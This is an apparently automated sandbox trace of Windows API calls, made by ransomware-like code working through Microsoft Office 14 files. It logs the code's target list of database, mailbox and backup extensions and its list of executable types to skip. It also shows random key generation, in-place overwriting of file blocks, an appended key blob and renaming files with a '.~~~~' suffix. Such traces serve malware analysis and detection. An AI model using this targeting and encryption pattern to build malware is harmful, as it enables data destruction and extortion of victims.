	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".SQL") returned 0x0
	[0080.305] lstrlenW (lpString=".pst") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".pst") returned 0x0
	[0080.305] lstrlenW (lpString=".dbv") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".dbv") returned 0x0
	[0080.305] lstrlenW (lpString=".SDF") returned 4
	[0080.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".SDF") returned 0x0
	[0080.306] lstrlenW (lpString=".dtxs") returned 5
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".dtxs") returned 0x0
	[0080.306] lstrlenW (lpString=".db3") returned 4
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".db3") returned 0x0
	[0080.306] lstrlenW (lpString=".OST") returned 4
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".OST") returned 0x0
	[0080.306] lstrlenW (lpString=".dbx") returned 4
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".dbx") returned 0x0
	[0080.306] lstrlenW (lpString=".DB3") returned 4
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".DB3") returned 0x0
	[0080.306] lstrlenW (lpString=".DAT") returned 4
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".DAT") returned 0x0
	[0080.306] lstrlenW (lpString=".VHDX") returned 5
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".VHDX") returned 0x0
	[0080.306] lstrlenW (lpString=".ndf") returned 4
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".ndf") returned 0x0
	[0080.306] lstrlenW (lpString=".DB") returned 3
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".DB") returned 0x0
	[0080.306] lstrlenW (lpString=".sql") returned 4
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".sql") returned 0x0
	[0080.306] lstrlenW (lpString=".MYD") returned 4
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".MYD") returned 0x0
	[0080.306] lstrlenW (lpString=".DBT") returned 4
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".DBT") returned 0x0
	[0080.306] lstrlenW (lpString=".ACCDB") returned 6
	[0080.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".ACCDB") returned 0x0
	[0080.307] lstrlenW (lpString=".fdb") returned 4
	[0080.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".fdb") returned 0x0
	[0080.307] lstrlenW (lpString=".bak") returned 4
	[0080.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".bak") returned 0x0
	[0080.307] lstrlenW (lpString=".myd") returned 4
	[0080.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".myd") returned 0x0
	[0080.307] lstrlenW (lpString=".DTXS") returned 5
	[0080.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".DTXS") returned 0x0
	[0080.307] lstrlenW (lpString=".ckp") returned 4
	[0080.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".ckp") returned 0x0
	[0080.307] lstrlenW (lpString=".dbt") returned 4
	[0080.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".dbt") returned 0x0
	[0080.307] lstrlenW (lpString=".db") returned 3
	[0080.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".db") returned 0x0
	[0080.307] lstrlenW (lpString=".TXT") returned 4
	[0080.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".TXT") returned 0x0
	[0080.307] lstrlenW (lpString=".MDF") returned 4
	[0080.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".MDF") returned 0x0
	[0080.307] lstrlenW (lpString=".bdb") returned 4
	[0080.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".bdb") returned 0x0
	[0080.307] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.308] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0080.309] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.309] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.309] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20029900595) returned 1
	[0080.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x99b84370, dwHighDateTime=0x1d60e1e)) 
	[0080.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bb30
	[0080.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bb30 | out: hHeap=0x300000) returned 1
	[0080.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7288
	[0080.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0080.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7288 | out: hHeap=0x300000) returned 1
	[0080.309] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.310] GetLastError () returned 0x0
	[0080.310] GetLastError () returned 0x0
	[0080.310] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.310] GetLastError () returned 0x0
	[0080.310] GetLastError () returned 0x0
	[0080.311] ReadFile (in: hFile=0x134, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.440] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.440] WriteFile (in: hFile=0x134, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0080.441] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.441] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.441] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.441] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.441] CloseHandle (hObject=0x134) returned 1
	[0080.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.442] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.~~~~")) returned 1
	[0080.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0080.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.443] GetLastError () returned 0x0
	[0080.443] RtlWakeConditionVariable () returned 0x365f70
	[0080.443] GetCurrentThreadId () returned 0xaf0
	[0080.443] GetCurrentThreadId () returned 0xaf0
	[0080.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0080.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa7f0 | out: hHeap=0x300000) returned 1
	[0080.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e340 | out: hHeap=0x300000) returned 1
	[0080.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28012a0
	[0080.444] lstrlenW (lpString=".scr") returned 4
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".scr") returned 0x0
	[0080.444] lstrlenW (lpString=".cmd") returned 4
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".cmd") returned 0x0
	[0080.444] lstrlenW (lpString=".dll") returned 4
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".dll") returned 0x0
	[0080.444] lstrlenW (lpString=".bat") returned 4
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".bat") returned 0x0
	[0080.444] lstrlenW (lpString=".cpl") returned 4
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".cpl") returned 0x0
	[0080.444] lstrlenW (lpString=".sys") returned 4
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".sys") returned 0x0
	[0080.444] lstrlenW (lpString=".msc") returned 4
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".msc") returned 0x0
	[0080.444] lstrlenW (lpString=".com") returned 4
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".com") returned 0x0
	[0080.444] lstrlenW (lpString=".lnk") returned 4
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".lnk") returned 0x0
	[0080.444] lstrlenW (lpString=".msp") returned 4
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".msp") returned 0x0
	[0080.444] lstrlenW (lpString=".pif") returned 4
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".pif") returned 0x0
	[0080.444] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.446] lstrlenW (lpString=".sqb") returned 4
	[0080.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".sqb") returned 0x0
	[0080.446] lstrlenW (lpString=".ost") returned 4
	[0080.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".ost") returned 0x0
	[0080.446] lstrlenW (lpString=".txt") returned 4
	[0080.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".txt") returned 0x0
	[0080.446] lstrlenW (lpString=".mdt") returned 4
	[0080.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".mdt") returned 0x0
	[0080.446] lstrlenW (lpString=".BDB") returned 4
	[0080.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".BDB") returned 0x0
	[0080.446] lstrlenW (lpString=".eql") returned 4
	[0080.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".eql") returned 0x0
	[0080.446] lstrlenW (lpString=".DBF") returned 4
	[0080.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".DBF") returned 0x0
	[0080.446] lstrlenW (lpString=".EQL") returned 4
	[0080.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".EQL") returned 0x0
	[0080.446] lstrlenW (lpString=".FDB") returned 4
	[0080.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".FDB") returned 0x0
	[0080.446] lstrlenW (lpString=".EDB") returned 4
	[0080.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".EDB") returned 0x0
	[0080.446] lstrlenW (lpString=".DACPAC") returned 7
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0080.447] lstrlenW (lpString=".VHD") returned 4
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".VHD") returned 0x0
	[0080.447] lstrlenW (lpString=".DBV") returned 4
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".DBV") returned 0x0
	[0080.447] lstrlenW (lpString=".dacpac") returned 7
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".dacpac") returned 0x0
	[0080.447] lstrlenW (lpString=".sdf") returned 4
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".sdf") returned 0x0
	[0080.447] lstrlenW (lpString=".accdb") returned 6
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".accdb") returned 0x0
	[0080.447] lstrlenW (lpString=".DBX") returned 4
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".DBX") returned 0x0
	[0080.447] lstrlenW (lpString=".MDT") returned 4
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".MDT") returned 0x0
	[0080.447] lstrlenW (lpString=".SQB") returned 4
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".SQB") returned 0x0
	[0080.447] lstrlenW (lpString=".vhd") returned 4
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".vhd") returned 0x0
	[0080.447] lstrlenW (lpString=".bac") returned 4
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".bac") returned 0x0
	[0080.447] lstrlenW (lpString=".mdf") returned 4
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".mdf") returned 0x0
	[0080.447] lstrlenW (lpString=".BAK") returned 4
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".BAK") returned 0x0
	[0080.447] lstrlenW (lpString=".BAC") returned 4
	[0080.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".BAC") returned 0x0
	[0080.448] lstrlenW (lpString=".dbs") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".dbs") returned 0x0
	[0080.448] lstrlenW (lpString=".vhdx") returned 5
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".vhdx") returned 0x0
	[0080.448] lstrlenW (lpString=".NDF") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".NDF") returned 0x0
	[0080.448] lstrlenW (lpString=".dat") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".dat") returned 0x0
	[0080.448] lstrlenW (lpString=".DBS") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".DBS") returned 0x0
	[0080.448] lstrlenW (lpString=".CKP") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".CKP") returned 0x0
	[0080.448] lstrlenW (lpString=".edb") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".edb") returned 0x0
	[0080.448] lstrlenW (lpString=".PST") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".PST") returned 0x0
	[0080.448] lstrlenW (lpString=".dbf") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".dbf") returned 0x0
	[0080.448] lstrlenW (lpString=".SQL") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".SQL") returned 0x0
	[0080.448] lstrlenW (lpString=".pst") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".pst") returned 0x0
	[0080.448] lstrlenW (lpString=".dbv") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".dbv") returned 0x0
	[0080.448] lstrlenW (lpString=".SDF") returned 4
	[0080.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".SDF") returned 0x0
	[0080.449] lstrlenW (lpString=".dtxs") returned 5
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".dtxs") returned 0x0
	[0080.449] lstrlenW (lpString=".db3") returned 4
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".db3") returned 0x0
	[0080.449] lstrlenW (lpString=".OST") returned 4
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".OST") returned 0x0
	[0080.449] lstrlenW (lpString=".dbx") returned 4
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".dbx") returned 0x0
	[0080.449] lstrlenW (lpString=".DB3") returned 4
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".DB3") returned 0x0
	[0080.449] lstrlenW (lpString=".DAT") returned 4
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".DAT") returned 0x0
	[0080.449] lstrlenW (lpString=".VHDX") returned 5
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".VHDX") returned 0x0
	[0080.449] lstrlenW (lpString=".ndf") returned 4
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".ndf") returned 0x0
	[0080.449] lstrlenW (lpString=".DB") returned 3
